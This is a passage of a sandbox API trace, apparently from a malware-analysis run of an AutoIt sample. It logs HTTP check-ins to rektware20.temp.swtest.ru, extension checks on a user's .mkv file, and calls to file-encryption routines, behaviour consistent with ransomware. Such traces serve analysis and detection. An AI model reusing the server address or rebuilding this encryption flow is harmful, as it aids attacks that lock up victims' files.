hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.237] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.237] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.237] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.237] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.237] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.237] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.237] CloseHandle (hObject=0x0) returned 0 [0067.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_ d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AAcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AcjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cjTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jTj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tj.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.239] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.239] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.240] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.240] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.240] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.240] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.240] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.240] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.240] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0067.240] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.240] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.240] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.241] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.241] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.241] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.241] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.241] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.241] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.241] CloseHandle (hObject=0x0) returned 0 [0067.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.241] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0067.242] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.242] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.242] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.242] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.242] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.244] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.245] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.246] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.247] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.248] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.249] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.250] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.253] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.255] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.256] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.258] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.258] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa2b8) returned 1 [0067.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.264] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.264] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.264] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.265] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.265] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.265] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.265] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.265] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.266] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.266] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.266] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.266] CharLowerBuffW (in: 